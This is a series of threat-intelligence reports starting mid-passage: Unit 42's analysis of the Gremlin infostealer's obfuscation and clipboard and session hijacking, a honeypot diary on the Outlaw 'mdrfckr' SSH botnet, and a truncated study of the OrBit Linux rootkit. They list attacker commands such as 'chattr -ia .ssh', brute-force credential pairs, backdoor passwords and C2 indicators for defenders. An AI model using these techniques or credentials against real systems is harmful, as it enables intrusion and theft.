Tempest cybercrime platform. Microsoft also detailed how Fox Tempest evolved its operation earlier this year by providing customers with pre-configured virtual machines hosted through Cloudzy infrastructure. Customers uploaded malware to the VM environments and received signed binaries using Fox Tempest-controlled certificates. The malware-signing platform was promoted on a Telegram channel named "EV Certs for Sale by SamCodeSign," with pricing ranging from $5,000 to $9,000 in bitcoin for access to the platform. Microsoft says the operation generated millions of dollars in profits and is a well-resourced group capable of managing infrastructure, customer relations, and financial transactions. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

A new version of the Gremlin stealer has evolved from a basic credential harvester into a modular toolkit, according to researchers at Palo Alto Networks’ Unit 42. The infostealer first emerged in April 2025, now just 12 months later the threat has rapidly evolved with new obfuscation techniques and new anti-analysis safeguards into recent builds. Gremlin stealer siphons sensitive information from compromised systems and exfiltrates it to attacker‑controlled servers for potential publication or sale. It targets web browsers, system clipboard and local storage. The new variant has an increased focus on stealth and is specifically designed to evade static analysis tools, according to the research. This includes the malware authors shifting the malicious payload into the .NET Resource section, masking it with XOR encoding to bypass signature-based detection and heuristic scanning. The core architecture and exfiltration methods via private web panels or the Telegram Bot API remain consistent with older versions. New Data Publication Site The new variant exfiltrates stolen data to a newly deployed site (hxxp[:]194.87.92[.]109). What is troubling is that Unit 42’s analysis said when it discovered the new data publication site, VirusTotal showed zero detection of the new site, its associated URLs or any retrieved artifacts. There were no block list entries, community reports or malicious categorizations. After data theft, the malware bundles harvested artifacts into a ZIP archive, including: Browser cookies Session tokens Clipboard contents Cryptocurrency wallet data FTP and VPN credentials The malware names the file using the victim’s public IP address to identify the source and then uploads it to the attacker-controlled site. Key Enhancements in Latest Gremlin Variant Analysts at Palo Alto Networks’ Unit 42 say the latest variant now includes a dedicated module to extract Discord tokens, which can be used to target digital identities through social engineering attacks. At the same time, the malware has taken a more aggressive turn financially. Researchers observed the addition of “crypto clipper” functionality, enabling Gremlin to actively interfere with cryptocurrency transactions. By monitoring the victim’s clipboard for wallet addresses and swapping them with attacker-controlled addresses, the malware can redirect funds in real time without the user’s knowledge. The updated version also introduces a WebSocket-based session hijacking capability, which allows attackers to hijack active browser sessions directly from the running process, bypassing modern cookie protections and giving them immediate access to authenticated accounts. “This latest variant of Gremlin stealer represents an evolution into a more complex threat. By transitioning from a simple data exfiltration tool to a more advanced modular stealer, Gremlin now targets Chromium-based browsers,” the researchers noted.

This article examines new obfuscation techniques the Gremlin stealer malware uses to conceal malicious payloads within embedded resources. We analyze a variant protected by a sophisticated commercial packing utility that employs instruction virtualization, transforming the original code into a custom, non-standard bytecode executed by a private virtual machine. Gremlin stealer siphons sensitive information from compromised systems and exfiltrates it to attacker‑controlled servers for potential publication or sale. It targets web browsers, system clipboard and local storage to exfiltrate sensitive information like: Payment card details Browser cookies Session tokens Cryptocurrency wallet data FTP and VPN credentials This threat has rapidly evolved, incorporating new anti-analysis safeguards into recent builds. Palo Alto Networks customers are better protected from Gremlin Stealer through our Network Security solutions and Cortex line of products, including: Cortex XDR and XSIAM Advanced WildFire Advanced Threat Prevention Advanced URL Filtering and Advanced DNS Security If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Using data from our internal threat intelligence, we identified a new Gremlin stealer variant. This variant exfiltrates stolen data to a newly deployed site at hxxp[:]194.87.92[.]109 as shown in Figure 1. At the time of discovery, VirusTotal showed zero detection for this new Gremlin site hxxp[:]194.87.92[.]109, its associated URLs or any retrieved artifacts. There were no block list entries, community reports or malicious categorizations as shown in Figure 2. After data theft, the malware bundles harvested artifacts into a ZIP archive, including: Browser cookies Session tokens Clipboard contents Cryptocurrency wallet data FTP and VPN credentials The malware names the file using the victim’s public IP address to identify the source, and then uploads it to the attacker-controlled site, as shown in Figure 3. In this section, we present a comparative analysis of older and newer Gremlin stealer variants, highlighting the key changes and describing our process for extracting the final-stage payloads. The latest iteration of the Gremlin stealer has an increased focus on stealth, specifically designed to evade static analysis tools. In this version, the malware authors have shifted the malicious payload into the .NET Resource section, masking it with XOR encoding to bypass signature-based detection and heuristic scanning. Figure 4 shows how the resource section appears as an opaque block of data, hiding strings and API calls that would otherwise trigger alerts. By applying a single-byte XOR decryption routine, we recovered the plain-text configuration. Figure 5 shows that this reveals the hard-coded command-and-control (C2) URLs and exfiltration paths. Gremlin stealer uses the resource section to mirror the tactics of several high-profile malware families that frequently use this area for payload obfuscation, including: Comparing past and present versions reveals a clear evolution in Gremlin stealer’s anti-analysis techniques. Legacy samples (shown in Figure 6) lacked obfuscation, leaving function exports and internal symbols intact. The current iteration implements a staged loading mechanism. Each critical function is decrypted and mapped into memory from the .NET resource section only when needed. This method forces analysts to perform dynamic debugging to observe any meaningful program behavior. Gremlin stealer’s evolution from a basic credential harvester to a modular toolkit is evident in several key architectural upgrades: Expanded target scope: Gremlin stealer includes a dedicated Discord token extraction module, which signifies a pivot toward targeting digital identity and social engineering. Active financial fraud: The latest variant shifts from passive data theft to active financial interference. This crypto clipper functionality continuously monitors the system clipboard for strings matching cryptocurrency wallet patterns. When it detects a match, the malware replaces the victim's address with the attacker’s wallet in real time, diverting funds during transactions. Advanced persistence: The WebSocket-based session hijacking module represents its most significant technical upgrade. This allows Gremlin stealer to hijack active, live browser sessions and bypass modern cookie protections by requesting the data directly from the running browser process. We uncovered an iteration of Gremlin stealer (SHA256 2172dae9a5a695e00e0e4609e7db0207d8566d225f7e815fada246ae995c0f9b) packed using a packing utility, as shown in Figure 7 below. Let’s discuss the obfuscation and anti-analysis techniques this variant uses. Imagine trying to cook in a kitchen where every can, box and spice jar has its label replaced with a random, short name like a, b, c, hf or ze. The malware authors applied this technique to the variant’s code. What it is: They replaced every meaningful name for a class, method or variable with a meaningless one. Why it's effective: It removes all context. A method originally named StealPasswordsFromChrome might become a(). A variable named decryptionKey might become b. This forces an analyst to manually trace every single function call to figure out its purpose, which is incredibly time-consuming. Example: In the file hf.cs, the main orchestrator class is named hf, and its primary methods are a, b and c. In bb.cs, the class for stealing browser data is BrowserCredentialStealer, but in the original obfuscated code, it was just bb. In this technique, malware authors made readable strings appear as gibberish. Instead of writing a word like password or a URL like hxxps://api[.]telegram[.]org directly in the code, the malware stores them encrypted. What it is: All important strings are hidden. The code only contains numbers that act as a key to a secret decoder function. When the program needs a string, it passes these numbers to the decoder, which then returns the real string. The decoder ring function: The secret decoder is the method _003CModule_003E.c(int, int, int). - It takes three integers as input - It uses these numbers to calculate an offset and a length - It opens an embedded resource file (named resource in the .csproj file) which contains all the encrypted strings - It seeks the calculated offset, reads the specified number of encrypted bytes and uses the third integer as a key to decrypt them - It returns the final, readable string Why it's effective: It completely hides the malware's intentions from static analysis. Analysts cannot simply search the code for suspicious keywords like Telegram, wallet.dat or api.ipify[.]org because they don't exist in plain text. Instead, analysts must either run the program in a debugger to see what strings are produced or reverse-engineer the decoder function. Example: A line like this from the original code: csharp // This is what the obfuscated code looks like string url = global::_003CModule_003E.c(18829, 2178, 23); When executed, the c() function would run its decoding operation, and the URL variable would then contain: csharp // This is the real value at runtime string url = "http://api.ipify.org/?format=json"; This technique makes the code's logic intentionally confusing, like turning a straight road into a maze of dead ends and pointless loops that all eventually lead to the same place. What it is: The decompiler output is filled with complex and nonsensical if-else statements, goto jumps and mathematical operations that don't actually affect the outcome. These are designed to confuse both human analysts and automated analysis tools. Why it's effective: It breaks the logical flow that a person would expect to see. It makes it hard to determine which path the code will actually take, even though in many cases, there's only one real path. This significantly increases the time and effort required for reverse engineering. Example: There are many switch statements and goto labels (e.g., IL_00c8, IL_0138) that create a tangled web of execution, even though the underlying logic is a simple sequence of await Task.Run(...). While the core architecture and exfiltration methods via private web panels or the Telegram Bot API remain consistent, this latest variant of Gremlin stealer represents an evolution into a more complex threat. By transitioning from a simple data exfiltration tool to a more advanced modular stealer, Gremlin now targets Chromium-based browsers. It uses memory-resident techniques to hijack active session tokens and sensitive data directly from running processes, rather than relying solely on static database files. This threat’s scope has broadened, as evidenced by a dedicated Discord token stealer. This module scans multiple paths and uses regex validation to compromise modern communication platforms. The malware’s author has also added a clipboard hijacker. This new monetization feature enables persistent financial fraud. It continuously monitors the clipboard, replacing cryptocurrency wallet addresses with attacker-controlled ones. Palo Alto Networks customers are better protected from the threats discussed above through the following products: The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the IoCs shared in this research. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Advanced Threat Prevention has an inbuilt machine learning-based detection that can detect exploits in real time. Cortex XDR and XSIAM are designed to: - Prevent the execution of known malicious malware, and also prevent the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module. - Protect against credential gathering tools and techniques using the new Credential Gathering Protection available from Cortex XDR 3.4. - Detect post-exploit activity, including credential-based attacks, with behavioral analytics, through Cortex XDR Pro. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 00080005045107 SHA256 hashes of the Gremlin stealer samples analyzed for this article: 2172dae9a5a695e00e0e4609e7db0207d8566d225f7e815fada246ae995c0f9b 9aab30a3190301016c79f8a7f8edf45ec088ceecad39926cfcf3418145f3d614 971198ff86aeb42739ba9381923d0bc6f847a91553ec57ea6bae5becf80f8759 ab0fa760bd037a95c4dee431e649e0db860f7cdad6428895b9a399b6991bf3cd f76ba1a4650d8cafb6d3ff071688c5db6fd37e165050f03cece693826f51d346 a9f529a5cbc1f3ee80f785b22e0c472953e6cb226952218aecc7ab07ca328abd 691896c7be87e47f3e9ae914d76caaf026aaad0a1034e9f396c2354245215dc3 281b970f281dbea3c0e8cfc68b2e9939b253e5d3de52265b454d8f0f578768a2 9fda1ddb1acf8dd3685ec31b0b07110855832e3bed28a0f3b81c57fe7fe3ac20 d11938f14499de03d6a02b5e158782afd903460576e9227e0a15d960a2e9c02c 1bd0a200528c82c6488b4f48dd6dbc818d48782a2e25ccd22781c5718c3f62f5 URLs hxxp[:]194.87.92[.]109/i.php Gremlin Stealer: New Stealer on Sale in Underground Forum — Unit 42, Palo Alto Networks

Introduction The SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 is one of the most-observed Outlaw / Shellbot artifacts on the public internet. VirusTotal first ingested it on 5 July 2018 [2]. It is the SHA-256 of the authorized_keys file written by the campaign whose persistence comment string is mdrfckr, a campaign documented in handler diaries, vendor reports, and independent honeypot research for nearly seven years. This diary does not announce a new campaign. The file hash, the public key, the mdrfckr comment string, the chattr -ia .ssh defensive disarm, the chpasswd account hijack, and the /tmp/secure.sh competitor cleanup are all well-described in prior reporting [3][4][5][6][7]. What this diary does add is one new data point in an existing lineage: between 14 and 21 April 2026, my DShield sensor [8] observed the mdrfckr campaign using a third libssh client version that has not, to my knowledge, been published as part of this campaign’s hassh chronology. The botnet’s authorized_keys file is unchanged across four years. Its SSH client library is on its third documented major version. Detection rules pinned to the older hasshes will miss the current generation. The point of this diary is to put the prior reports side by side with my April 2026 observation, document the new hassh, and offer detection-engineering guidance for handlers maintaining mdrfckr-aware rules. What is already known I want to be careful to credit the prior work this diary builds on, because the new contribution is small relative to it. The mdrfckr persistence key was first associated with the Outlaw / Dota family by Trend Micro in 2018 [3], with subsequent updates in 2019 and follow-up reporting from Anomali, Yoroi [9], Juniper [10], CounterCraft [11], Cybereason, and Kaspersky. The recon command sequence and the competitor-cleanup playbook are described across that body of work. None of the file or behaviour signatures discussed in this diary are novel. In late 2022 and early 2023, the port22.dk blog [4][7] published a two-part deep dive on the campaign. Part one (data from October–November 2022) observed 12,913 unique IPs writing the mdrfckr key from a network of 10 honeypots. Crucially, the post introduced hassh-based clustering as a defender’s tool: 99.1% of the observed mdrfckr-key writes shared the hassh 51cba57125523ce4b9db67714a90bf6e, which corresponds to the SSH client banner SSH-2.0-libssh-0.6.0 / SSH-2.0-libssh-0.6.3. Part two (data from December 2022 onward) documented the campaign migrating to a second hassh f555226df1963d1d3c09daf865abdc9a, corresponding to SSH-2.0-libssh_0.9.5 / SSH-2.0-libssh_0.9.6, with ~30,000 unique IPs across the new fingerprint and a 94.5% confidence link. Part two also documented two new related command variants: chattr -ia .ssh; lockr -ia .ssh as a separate command, and lockr -ia .ssh run on its own, executed alongside the original key-write command. In May 2023, a SANS ISC diary by Jesse La Grew [5] presented two example sessions writing the same SHA-256, captured via a cowrie-log enrichment script. One session originated from a DigitalOcean datacentre IP; the other from a VPN-fronted Tencent IP. Both sessions executed the post-December-2022 split-command variant. In May / June 2023, Guy Bruneau’s monthly DShield diary [6] noted the same key-write playbook in honeypot data and attributed it explicitly to the Outlaw group via the original Trend Micro reporting. That is the public chronology this observation extends. What the April 2026 sensor saw Between 2026-04-14 01:23:41 UTC and 2026-04-21 02:22:56 UTC, my DShield sensor logged 24 unique source IPs writing the SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to /root/.ssh/authorized_keys (and to other compromised account paths). The cluster wrote 229 authorized_keys modifications across 1,230 SSH sessions and executed 4,133 post-authentication commands. The peak burst occurred on 19 April 2026: 20 of the 24 IPs first connected to the sensor between 06:05:19 UTC and 06:07:30 UTC, a 131-second window. The remaining four IPs appeared on neighbouring days but executed the same playbook with the same key. The defensive-disarm and key-write command observed across every successful session is the post-December-2022 split variant documented by port22 part two: The new data point is the SSH client. The new hassh: libssh 0.11.x Every one of the 24 IPs in the April 2026 cluster advertised the SSH client banner SSH-2.0-libssh_0.11.1 and produced the hassh fingerprint 03a80b21afa810682a776a7d42e5e6fb. This hassh does not match the hashes documented in port22 parts one and two, nor in the May 2023 ISC diary. A hassh is a hash of the SSH client’s advertised cipher, MAC, key-exchange, and compression algorithm lists [12]. Different libssh major versions ship with different default algorithm preferences, so each new libssh version a campaign adopts produces a new hassh. The 2026 hassh 03a80b21afa810682a776a7d42e5e6fb is the third documented entry in this campaign’s libssh version walk, separated from port22’s last published value by approximately three years and one major libssh version (0.9 → 0.10 → 0.11). I do not have a baseline of how prevalent this hassh is across the full DShield sensor population - that is the question I would most like other handlers and DShield operators to help answer. On my single sensor, this hassh accounted for 3,473 SSH log lines across the eight-day window, making it the most active SSH attacker-tooling fingerprint observed during the period. The 24-IP burst: small confirmation of an existing observation Twenty of the 24 cluster IPs first connected within a 131-second window. This is consistent with the coordination behaviour documented at much larger scale by port22, and does not represent a new claim. I mention it only for completeness, and because it has one practical implication for detection: per-source-IP rate limits (fail2ban, sshguard) will not trigger on this pattern because each IP performs only ~10 login attempts. Detection rules useful against this campaign should aggregate by target account rather than by source IP - ten distinct IPs attempting steam:Steam29! against the same host within five minutes is a stronger signature than any individual IP’s behaviour. The cluster IPs and the credential dictionary are listed in the indicators section. None of the credential pairs are new: steam:Steam29!, postgres:q1, dev:dev5, sammy:sammy26, root:AAAaaa111, root:root000@, sysadmin:test123, test1:passwd, tester:testerpass, sammy:12345. This is the existing Outlaw target list. Why this matters for defenders The detection-engineering implication of the libssh version walk is straightforward: hassh-based detection rules written in 2022 or 2023 against 51cba57125523ce4b9db67714a90bf6e or f555226df1963d1d3c09daf865abdc9a will silently miss the 2026 generation of the same campaign. The SHA-256 of the authorized_keys file remains the most reliable single indicator (it has not changed in four years), but operators relying on hassh enrichment as a leading indicator - for example, alerting on hassh values before a successful authentication occurs - should add 03a80b21afa810682a776a7d42e5e6fb to their watch lists. More broadly, the four-year libssh version walk suggests the campaign operator (or operators - the persistence model has always been consistent with shared infrastructure rather than self-propagation in the strict sense) keeps the targeting infrastructure stable while letting the underlying client library age forward. A defender writing a detection rule against this campaign should expect the hassh to change again on a roughly multi-year cadence as libssh ships new defaults, and should pin alerting to the SHA-256, the public key blob, the mdrfckr comment string, and the recon command sequence - none of which have changed since 2018 - rather than to any single hassh value. What I am not claiming The 24-IP April 2026 cluster is much smaller than the populations port22 worked with. I cannot meaningfully extend port22’s hassh-confidence statistics from one sensor’s eight-day window. The 99.1% / 94.5% figures published in 2022 and 2023 should not be extrapolated to the 2026 hassh from this data alone - that calculation requires a multi-sensor population study, which is exactly the kind of analysis ISC handlers and the DShield operator community are positioned to do better than any of my sensors. Indicators authorized_keys SHA-256 (unchanged since 2018):a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 Public key comment string: mdrfckr April 2026 hassh: 03a80b21afa810682a776a7d42e5e6fb April 2026 SSH client banner: SSH-2.0-libssh_0.11.1 Burst window: 19 April 2026, 06:05:19 → 06:07:30 UTC Credential dictionary: steam:Steam29! ,postgres:q1 ,dev:dev5 ,sammy:sammy26 ,root:AAAaaa111 ,root:root000@ ,sysadmin:test123 ,test1:passwd ,tester:testerpass ,sammy:12345 24 source IPs from the April 2026 cluster (Appendix A) Conclusion The mdrfckr campaign is older than many of the SSH honeypots currently watching it. Its authorized_keys file is approaching its eighth anniversary on VirusTotal and has not been rotated. Its target dictionary, recon sequence, and competitor-cleanup playbook have all remained stable across the four years that public researchers have been tracking the libssh version walk. What changes is the client. The April 2026 hassh 03a80b21afa810682a776a7d42e5e6fb joins 51cba57125523ce4b9db67714a90bf6e and f555226df1963d1d3c09daf865abdc9a as the third documented entry in this campaign’s lineage. Detection rules pinned to either earlier hassh will miss it. I would be very interested to hear from any other DShield operator or ISC handler who has independently observed the 0.11.x hassh writing the SHA-256 above - particularly with population data that would let the community update the hassh-to-mdrfckr confidence figures published by port22 in 2022 and 2023. Acknowledgments Drafting assistance from Claude (Anthropic) [13]. All log review, the hassh and SHA-256 verification, the credential and IP enumeration, and the comparison against prior reporting were done from the sensor’s own logs and the cited public sources. References [3] Trend Micro, https://www.trendmicro.com/en/research/20/b/outlaw-updates-kit-to-kill-older-miner-versions-targets-more-systems.html [4] port22.dk, “mdrfckrs – part one,” March 2023. https://blog.port22.dk/mdrfckrs-part-one/ [5] Jesse La Grew, “More Data Enrichment for Cowrie Logs,” SANS Internet Storm Center, 24 May 2023. https://isc.sans.edu/diary/29878 [6] Guy Bruneau, “DShield Honeypot Activity for May 2023,” SANS Internet Storm Center, 11 June 2023. https://isc.sans.edu/diary/29932 [7] port22.dk, “mdrfckrs – part two,” July 2023. https://blog.port22.dk/mdrfckrs-part-two/ [8] https://isc.sans.edu/honeypot.html [9] Yoroi, “Outlaw is Back: A New Crypto-Botnet Targets European Organizations.” https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/ [10] Juniper Threat Research, “Dota3: Is your Internet of Things device moonlighting?” https://blogs.juniper.net/en-us/threat-research/dota3-is-your-internet-of-things-device-moonlighting [11] CounterCraft, “Dota3 malware again and again.” https://www.countercraftsec.com/blog/dota3-malware-again-and-again/

OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments May 14, 2026 Written by Nicole Fishbein In July 2022, we published the first analysis of OrBit, a then-undocumented Linux userland-rootkit that stood out for its comprehensive libc hooking, SSH backdoor access, and PAM-based credential harvesting. At the time, OrBit appeared as a single sample with a single operator fingerprint, and the codebase itself looked customized. It wasn't. As we will show below, OrBit is a repackaged and selectively weaponized build of Medusa, an open-source LD_PRELOAD rootkit published on GitHub in December 2022. The story of OrBit's four-year evolution is not one of novel development; it's the story of how a publicly available rootkit was forked, configured, and redeployed. Nearly four years later, OrBit is still in the wild, and it has not stood still. Hunting across VirusTotal, we pulled more than a dozen samples spanning 2022 through 2026 and walked each one through static and differential analysis. We discovered two parallel lineages: a full-featured "Lineage A" build that tracks closely with the 2022 original, and a lite "Lineage B" fork that drops entire capability domains (PAM, pcap, TCP-port hiding) in exchange for a smaller footprint. Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks, and eventually bolt on a service-side PAM impersonation primitive. This blog picks up where the 2022 analysis left off. We focus on what changed, when, and why it matters for defenders. For each epoch, we enumerate the samples, call out the lineage, and break down the meaningful changes: credential changes, hook-set diffs, new evasion behavior, and operator tradecraft. Background: What is OrBit? For readers unfamiliar with the original analysis, OrBit is a Linux userland-rootkit deployed as a shared library (.so) that achieves persistence by patching the dynamic linker, specifically modifying ld.so to ensure the malicious library is loaded into every process on the system. It operates as a passive implant with no command-and-control communication; instead, the attacker connects in through an SSH backdoor. Once installed, OrBit hooks into PAM functions to harvest credentials from SSH and sudo authentication attempts, storing the captured passwords locally. Its evasion capabilities are comprehensive, hooking over forty libc functions to hide files, processes, and network connections from administrators and security tools alike. The malware stores its harvested credentials and configuration data in /lib/libntpVnQE6mk/, a directory that remains invisible to standard enumeration thanks to the rootkit's own hooks. July 2022 We will refer to this variant as Lineage A "Full" build of OrBit. OrBit variants through the years In our research, we collected samples from VirusTotal. Unlike PE files, ELF files don’t include a compilation timestamp, so we started by aggregating the samples by the date they were submitted to VirusTotal. To track the samples on the blog, we use the first 8 characters of each sample's SHA-256. At the bottom of the blog, you can find the full list of IOCs. December 2022 The first version shows a slight change: the username and password for the SSH connection, and the exported functions. Credential mechanism shift: 40b5127c resolved the backdoor username dynamically via the getpwuid hook; ec7462c3 dropped that hook entirely and hardcodes adm1n directly in the XOR-encrypted string table. The working folder was changed to libseconf. For the most part, the later variants will use this path. All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding (alloc_tcp_ports/remove_port/tcp_port_hidden), load monitoring (.showload/.maxload), pcap sniffing, LD_PRELOAD management, log suppression, and process hiding. The transition from 2022 to 2023 is essentially a redeployment with new credentials and a more convincing install path, plus a minor simplification (dropping dynamic UID lookup in favor of a hardcoded username). The rootkit's hook surface stayed stable. Samples From 2023 The d419a9b1 sample stands out for the operator's choice of the install path (/lib/fuckwhitehatshome/) and the SSH username and password. No other known samples use these strings, suggesting a different operator or persona authored this particular build rather than it simply being a different deployment of the same toolkit. Functionally, it carries the full 2022-era hook set, with 65 exports. The 296d28eb sample is a full-featured build that uses the libseconf path and the same SSH credentials as ec7462c3. But this sample also has an evolutionary step: dropped TCP port hiding, added the exported xread function. This is not an LD_PRELOAD hook on a system library; it's a wrapper that calls syscall(SYS_read) directly, bypassing the rootkit's own hooked read(). The rootkit hooks the libc read() function; the hook filters out rootkit artifacts from files such as/proc/net/tcp and directory listings. Some C programs, such as Git, define their own internal xread() helper that wraps read() to handle partial reads and EINTR. Normally, these internal helpers call libc read(), which the rootkit intercepts and filters. By exporting its own xread, which directly calls syscall (SYS_read), the rootkit shadows these program-internal helpers with a version that bypasses its own read hook entirely. This is a compatibility fix: without it, any program that defines xread would receive the rootkit's filtered output through its core I/O path, potentially corrupting SSH protocol streams, breaking git operations, or causing other malfunctions that could expose the rootkit's presence. The hook ensures that programs continue to function normally while the rootkit's read interception remains active for standard libc callers. Both files, 3ba6c174 and 4203271c, represent the first appearance of Lineage B, a deliberately lite fork of the OrBit rootkit. Both are dynamically linked shared objects using the standard 0xA2 XOR key and installed in /lib/libseconf/, but they export only 54 functions, compared to the 67 in their closest Lineage A contemporaries (d419a9b1, ec7462c3). The 13 removed exports strip out three entire capability domains: network port-hiding (alloc_tcp_ports, remove_port, tcp_port_hidden, clean_ports), PAM credential interception (pam_authenticate, pam_acct_mgmt, pam_open_session, pam_get_password), and packet capture (pcap_loop, pcap_packet_callback). The string table reflects this (.logpam and .udp are absent), though .ports, .hosts, and sshpass2.txt are retained. This reduced feature set suggests they were purpose-built for different target environments where a smaller footprint or more limited functionality was either sufficient or preferred. The most notable change is the complete absence of a backdoor password. Every Lineage A sample embeds a password in its XOR-encrypted string block, but in both 3ba6c174 and 4203271c, the password field is missing. Each sample carries a distinct username (adm1n and b4ph0m3t0, respectively), and these are the only byte-level differences between the two binaries. This pattern of 54 exports, no password, no PAM/pcap hooks, held consistent across all subsequent Lineage B samples through 2024. Samples From 2024 2024 is the most diverse epoch in OrBit's timeline, with both lineages active simultaneously and an encryption key change in the Lineage A branch. eea274ed / a6138638: Lineage A, 0xAA key rotation These two samples belong to the same lineage: identical XOR key (0xAA is a break from the long-standing 0xA2), identical credentials (Y0u4reCu6e / 1qaz@WSX3edc123), and identical hook count (54). The only structural difference is the install path: /lib64/libseconf/ versus /lib/locate/. This is probably a deliberate path rotation to evade detections anchored on the previously documented /lib/libseconf/ directory. Credentials are stored inline in the XOR-encrypted block rather than written to sshpass.txt, representing a shift in the credential storage model. Both samples also have a reduced hook for the' execve' function: the execve hook handles persistence maintenance (apt/yum), output sanitization (dmesg), and ldd defeat. Compared to other samples in the lineage, it is a reduced feature set: no strace interception, no IP/iptables hooks, no command logging. Despite sharing the same hook count, the two samples do not share the same hook set. a6138638 swaps read/write for readdir_r/readdir64_r, indicating a targeted adjustment to the directory-hiding mechanism. A string-level diff reveals more changes: Credential harvesting is saved in remote.txt. This variant captures only SSH logins, not sudo sessions ([sudo] pass is missing). The result is 52 decoded XOR strings in eea274ed versus 47 in a6138638. Both samples retain .udp, .pts, and the credential pair, preserving the core backdoor functionality. The removals target logging and forensic-capture features, suggesting a6138638 was tailored for a deployment where a lighter footprint was preferred. a34299a1 / b1dd18a6 / 989f7eb4: Lineage B continuation These samples continue the 54-export lite build lineage that first appeared in 2023 with 3ba6c174/4203271c. The hook set is identical (49 hooks), the XOR key remains 0xA2, and the same capability domains are absent: no PAM credential interception, no pcap sniffing, no TCP port hiding. The password field is still missing from the binary. Each sample carries a distinct username (rebel, Gestuff, adm1n, respectively), consistent with the Lineage B pattern of per-deployment username rotation, with no corresponding password. 989f7eb4 is the payload extracted from the 48a68d05 dropper. It was not on VT; we uploaded it. Samples From 2025 The 2025 epoch marks two significant capability additions to Lineage A and confirms the rootkit's return to the 0xA2 encryption key after the 2024 0xAA experiment. Two distinct rootkit .so builds are present in 2025, both Lineage A: 8e83cbb2 represents the most capable build to date. Its 66-export set includes a significant new hook not seen in any prior variant: pam_sm_authenticate. This is the PAM service-side authentication function, meaning the rootkit now hooks both sides of the PAM stack. Where earlier variants could only passively capture credentials via client-side pam_authenticate, this build can also forge authentication outcomes, allowing the attacker to approve or deny login attempts at will. The export set also includes xread, first seen in 296d28eb (2023). 2b2eeb22 is a second Lineage A payload with 64 exports. XOR 0xA2 decode confirms credentials adm1n/asdfasdf, the same operator behind ec7462c3 (2022), 296d28eb (2023), and the 26082cd3 inner payload (2024), now spanning four years. 84828f31 is a truncated copy of 2b2eeb22 (same BuildID: cbc9724027399723a27daa4114ffcdf906cb802f, identical bytes up to 107KB, missing the trailing 102KB containing section headers and symbol tables), it is likely an incomplete extraction or download artifact. It is not a distinct sample. XOR 0xA2 string decode of both payloads confirms the full Lineage A string set is restored: sshpass.txt and sshpass2.txt both present, plus .logpam, .udp, .ports (×2), /proc/net/tcp. The string removals introduced by the 2024 0xAA cluster (a6138638's missing local.txt, sniff.txt, etc.) were not carried forward, and both builds return to the comprehensive logging and credential-capture model. Dropper Samples 090b15fd, 64a3ebd3, and b85ed157 are statically linked ELF executables that carry 8e83cbb2 as an embedded .so and share the same Build ID: da256c78910c552eb334814ada85c7655b717c4f. d3d204c1 is the same type of dropper carrying 2b2eeb22. All four share the same architecture first seen in f1612924 (from 2022). 73b95b7d: A New Dropper Architecture 73b95b7d is not just a dropper, it is an infector that carries the dropper as an embedded payload. This creates a two-stage delivery chain: infector → dropper → rootkit. The inner binary (090b15fd, embedded at file offset 0x20d7) is the dropper we previously saw. The infector's role is propagation and persistence; the dropper's role is to extract and install the rootkit .so via ld.so.preload. The infector scans the filesystem for ELF binaries and injects the second-stage payload into them. An infection marker bongripz4jezuz (stored in base64 encoding as: Ym9uZ3JpcHo0amV6dXoK) is checked before each infection attempt to avoid re-infecting the same target. The injected binaries include: /bin/ls All 64-bit ELF files in the current working directory that have read/write access. Additionally, /etc/cron.hourly/0 is created as a persistence mechanism (to download and execute a remote payload), though it is a shell script rather than an ELF injection target. This is the first OrBit component with any form of C2 communication. Every previous version was a purely passive implant, meaning the attacker connected via the SSH backdoor. This introduces an external command channel that can deliver updated payloads or instructions, adding a reinfection mechanism on top of ld.so.preload persistence. The earlier droppers stored all paths and commands as plaintext. 73b95b7d is the first dropper to implement string protection: a custom substitution cipher using two lookup tables at .data offsets for the cipher and plain, each with 88 entries, defining a character-by-character mapping. Notably, this is a different scheme from the XOR encryption used by the previous rootkit payloads. The structure of this dropper, which delivers the OrBit payload in the final stage, is identical to that described in this APNIC blog that analyzed a dropper that delivered RHOMBUS malware. Rhombus is a Linux-based botnet malware first reported in February 2020 by the MalwareMustDie research group, which analyzed and shared samples of it. It acts as an installer/dropper that persists on infected devices, drops a second-stage payload, and then uses the compromised system for DDoS activity. The target systems are VPS and IoT devices. (SHA256 of the dropper: b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784). Interestingly, the dropper 73b95b7d that delivers the OrBit payload in the final stage is identical to the one used in the Rhombus campaign 6 years ago. Coincidentally, both droppers use the same domain to download the payload as part of the cron-job-based persistence. The current resolution of the domain is to 109.95.212[.]253. The host has a unique BANNER_0_HASH-IP value, ba0c31785465186600a76b7af2a37aa6, that is shared with only one other IP, 109.95.211[.]141, as shown in the screenshot below from Validin. Based on the ASN resolution, both IP addresses are located in Russia. The fact that the OrBit dropper shares the same domain as malware from 6 years ago can also be interpreted as an attempt to mislead researchers; therefore, we are not taking this evidence into account for attribution at this moment. However, it is worth noting that this connection exists. Samples From February 2026 These two samples are confirmed to be identical in structure: the same 54-hook set, the same XOR key (0xA2), and the same working directory (/lib/libseconf/). The only difference is credentials: jokerteam/HACK89SERVER versus 57ill4Cu63/1qaz@WSX3edc098. XOR 0xA2 decode confirms the full Lineage A string set. No Lineage B samples have surfaced since 2024, suggesting the lite build may have been retired or consolidated back into the main branch. Connection to BLOCKADE SPIDER In CrowdStrike’s 